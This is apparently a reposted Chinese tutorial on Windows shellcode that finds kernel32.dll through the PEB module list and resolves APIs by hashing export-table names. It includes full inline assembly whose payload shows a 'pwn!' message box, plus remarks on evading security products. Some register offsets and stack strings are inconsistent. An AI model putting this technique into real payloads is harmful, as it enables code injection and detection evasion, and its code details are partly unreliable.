shellcode编写之动态定位API
字数 1336 2025-08-24 07:48:33
Shellcode编写之动态定位API技术详解
背景与原理
在传统的Shellcode编写中,开发者通常采用硬编码地址的方式来调用API函数,这种方法存在两个主要问题:
- 操作系统版本差异:不同Windows版本中,系统DLL的加载基址可能不同
- ASLR(地址空间布局随机化):现代操作系统会随机化模块加载地址以增强安全性
因此,我们需要一种动态定位API地址的技术。本文介绍的技术基于以下关键信息:
- 所有Win32程序都会加载
ntdll.dll和kernel32.dll这两个基础动态链接库 - 通过遍历进程的模块链表可以找到
kernel32.dll的基地址 - 从DLL的导出表中可以解析出所需API的地址
技术实现步骤
1. 获取TEB(线程环境块)
TEB结构存储了当前线程的信息,可以通过段寄存器FS(32位系统)或GS(64位系统)访问:
mov ebx, fs:[0x30] ; TEB结构偏移0x30处是PEB指针
2. 获取PEB(进程环境块)
PEB包含进程的全局信息,从TEB偏移0x30处获取:
mov ecx, [ebx + 0x0c] ; PEB偏移0x0c处是PEB_LDR_DATA指针
3. 遍历模块链表
PEB_LDR_DATA结构包含三个重要的模块链表:
InLoadOrderModuleList(偏移0x0c): 按加载顺序排列的模块InMemoryOrderModuleList(偏移0x14): 按内存顺序排列的模块InInitializationOrderModuleList(偏移0x1c): 按初始化顺序排列的模块
通常我们使用InLoadOrderModuleList:
mov ecx, [ecx + 0x0c] ; 获取InLoadOrderModuleList头指针
mov ecx, [ecx] ; 第一个节点是程序本身
mov ecx, [ecx] ; 第二个节点是ntdll.dll
mov ebp, [ecx + 0x18] ; 第三个节点是kernel32.dll,偏移0x18是基地址
4. 解析PE文件结构
获取kernel32.dll基地址后,我们需要解析其PE结构来找到导出表:
-
定位PE头:基址偏移0x3C处是PE头偏移
mov eax, [ebp + 0x3c] ; PE头偏移 -
获取导出表:PE头偏移0x78处是导出表RVA
mov ecx, [ebp + eax + 0x78] ; 导出表RVA add ecx, ebp ; 转换为VA(虚拟地址)
5. 解析导出表
导出表结构(IMAGE_EXPORT_DIRECTORY)包含以下重要字段:
typedef struct _IMAGE_EXPORT_DIRECTORY {
DWORD Characteristics;
DWORD TimeDateStamp;
WORD MajorVersion;
WORD MinorVersion;
DWORD Name;
DWORD Base;
DWORD NumberOfFunctions;
DWORD NumberOfNames;
DWORD AddressOfFunctions; // 导出函数地址数组RVA
DWORD AddressOfNames; // 导出函数名称数组RVA
DWORD AddressOfNameOrdinals; // 导出函数序号数组RVA
} IMAGE_EXPORT_DIRECTORY;
解析流程:
-
获取函数名称数组:
mov ebx, [ecx + 0x20] ; AddressOfNames RVA add ebx, ebp ; 转换为VA -
遍历函数名称,计算并比较哈希值:
next_func_loop: inc edi ; 计数器递增 mov esi, [ebx + edi * 4] ; 获取函数名RVA add esi, ebp ; 转换为VA cdq ; 清空edx hash_loop: movsx eax, byte ptr [esi] ; 读取函数名字符 cmp al, ah ; 检查是否到字符串结尾 jz compare_hash ror edx, 7 ; 循环右移7位计算哈希 add edx, eax ; 累加到哈希值 inc esi ; 下一个字符 jmp hash_loop compare_hash: cmp edx, [esp + 0x1c] ; 比较目标哈希 jnz next_func_loop ; 不匹配则继续 -
找到匹配函数后获取其地址:
mov ebx, [ecx + 0x24] ; 函数序号数组RVA add ebx, ebp ; 转换为VA mov di, [ebx + 2 * edi] ; 获取函数序号 mov ebx, [ecx + 0x1c] ; 函数地址数组RVA add ebx, ebp ; 转换为VA add ebp, [ebx + 4 * edi] ; 获取函数RVA并计算VA
6. 动态加载其他DLL
通过kernel32.dll中的LoadLibraryA可以加载其他DLL,如user32.dll:
push 0x61616c6c ; "llaa"
push 0x642e3233 ; "32.d"
push 0x72657375 ; "user"
mov eax, esp ; 栈顶是"user32.dll"字符串
push eax
call [edi - 0x8] ; 调用LoadLibraryA
完整Shellcode示例
以下是一个完整的弹窗Shellcode示例:
_asm {
// 将要调用的函数hash值入栈保存
CLD // 清空标志位DF
push 0x1e380a6a // MessageBoxA的hash
push 0x4fd18963 // ExitProcess的hash
push 0x0c917432 // LoadLibraryA的hash
mov esi, esp // esi指向hash数组
lea edi, [esi - 0xc] // edi预留空间存储函数地址
// 开辟栈空间
xor ebx, ebx
mov bh, 0x04
sub esp, ebx // sub esp,0x400
// 将user32.dll入栈
mov bx, 0x3233 ; '23'
push ebx
push 0x72657375 ; 'user'
push esp
xor edx, edx
// 查找kernel32.dll基地址
mov ebx, fs:[edx + 0x30]
mov ecx, [ebx + 0x0c]
mov ecx, [ecx + 0x0c]
mov ecx, [ecx]
mov ecx, [ecx]
mov ebp, [ecx + 0x18]
// 查找函数
find_lib_funcs:
lodsd ; 读取下一个hash
cmp eax, 0x1e380a6a ; 是否是MessageBoxA
jne find_funcs
xchg eax, ebp
call [edi - 0x8] ; 调用LoadLibraryA加载user32.dll
xchg eax, ebp
find_funcs:
pushad
mov eax, [ebp + 0x3c] ; PE头偏移
mov ecx, [ebp + eax + 0x78] ; 导出表RVA
add ecx, ebp ; 导出表VA
mov ebx, [ecx + 0x20] ; 函数名数组RVA
add ebx, ebp ; 函数名数组VA
xor edi, edi
next_func_loop:
inc edi
mov esi, [ebx + edi * 4]
add esi, ebp
cdq
hash_loop:
movsx eax, byte ptr [esi]
cmp al, ah
jz compare_hash
ror edx, 7
add edx, eax
inc esi
jmp hash_loop
compare_hash:
cmp edx, [esp + 0x1c]
jnz next_func_loop
mov ebx, [ecx + 0x24]
add ebx, ebp
mov di, [ebx + 2 * edi]
mov ebx, [ecx + 0x1c]
add ebx, ebp
add ebp, [ebx + 4 * edi]
xchg eax, ebp
pop edi
stosd
push edi
popad
cmp eax, 0x1e380a6a
jne find_lib_funcs
// 调用MessageBoxA
func_call:
xor ebx, ebx
push ebx
push 0x206f7265 ; 'ero '
push 0x5A5f7466 ; 'ft_Z'
push 0x6973696d ; 'misi'
mov eax, esp ; 标题"misift_Zero"
push ebx
push 0x216e7770 ; 'pwn!'
mov ecx, esp ; 内容"pwn!"
push ebx ; MB_OK
push eax ; 标题
push ecx ; 内容
push ebx ; hWnd
call [edi - 0x04] ; MessageBoxA
// 退出进程
push ebx
call [edi - 0x08] ; ExitProcess
}
关键点总结
- 哈希算法:使用循环右移7位的哈希算法来比较函数名,避免在Shellcode中存储可读字符串
- 模块遍历:通过PEB_LDR_DATA结构遍历已加载模块,确保兼容不同Windows版本
- PE结构解析:准确解析PE文件结构是定位导出函数的关键
- 栈平衡:Shellcode中需要仔细管理栈空间,避免崩溃
- 通用性:该技术不依赖硬编码地址,可在不同环境下工作
实际应用注意事项
- Shellcode大小:动态定位API的Shellcode通常比硬编码的大,需要考虑注入场景
- 哈希冲突:确保选择的哈希算法不会产生冲突,必要时可以增加二次验证
- 异常处理:在实际应用中应添加异常处理逻辑,提高稳定性
- 绕过检测:现代安全产品可能会检测此类技术,需要结合其他规避方法
通过掌握这种动态定位API的技术,可以编写出更加健壮、兼容性更好的Shellcode,适用于各种渗透测试和安全研究场景。